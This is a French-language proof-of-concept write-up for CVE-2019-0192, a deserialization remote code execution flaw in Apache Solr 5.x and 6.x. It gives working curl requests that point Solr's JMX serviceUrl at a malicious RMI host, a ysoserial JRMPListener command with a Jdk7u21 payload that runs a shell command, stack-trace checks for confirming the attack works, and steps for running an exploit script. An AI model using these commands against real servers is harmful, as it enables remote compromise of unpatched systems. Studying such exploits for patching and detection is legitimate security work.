CVE-2019-0192 - Apache Solr RCE 5.0.0 à 5.5.5 et 6.0.0 à 6.6.5

Ceci est un PoC précoce de la RCE Apache Solr

Extrait de https://issues.apache.org/jira/browse/SOLR-13301:

ConfigAPI permet de configurer le serveur JMX de Solr via une requête HTTP POST. En le pointant vers un serveur RMI malveillant, un attaquant pourrait tirer parti de la désérialisation non sécurisée de Solr pour déclencher une exécution de code à distance côté Solr.

Preuve de concept

En regardant la description de l'avis de sécurité et en vérifiant les ConfigAPI ressources d'Apache Solr, on peut trouver une référence à un serveur JMX :

serviceUrl - (str facultatif) URL de service pour un serveur JMX. Si elle n'est pas spécifiée, le serveur MBean de plateforme par défaut sera utilisé.

En vérifiant comment fonctionne ConfigAPI, nous pouvons reproduire comment configurer un serveur JMX distant :

curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

Pour le PoC, j'utiliserai yoserial pour créer un serveur RMI malveillant en utilisant la payload Jdk7u21

1. Démarrer le serveur RMI malveillant :

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"

2. Exécuter la requête POST :

curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

note: vous devriez obtenir une erreur 500 avec une belle stacktrace

3. Vérifier la stacktrace :

• Si vous voyez cette erreur : "Non-annotation type in annotation serial stream", cela signifie qu'Apache Solr tourne avec une version de Java > JRE 7u25 et ce PoC ne fonctionnera pas

• Sinon, vous devriez voir cette erreur : "undeclared checked exception; nested exception is" et le PoC devrait fonctionner.

Exploit

1. Télécharger yoserial : https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
2. Modifier les valeurs dans le script :

remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"

3. Exécuter ensuite le script :

python3 CVE-2019-0192.py

Avis de sécurité:

• http://mail-archives.us.apache.org/mod_mbox/www-announce/201903.mbox/%3CCAECwjAV1buZwg%2BMcV9EAQ19MeAWztPVJYD4zGK8kQdADFYij1w%40mail.gmail.com%3E

Ressources:

• https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties
• https://issues.apache.org/jira/browse/SOLR-13301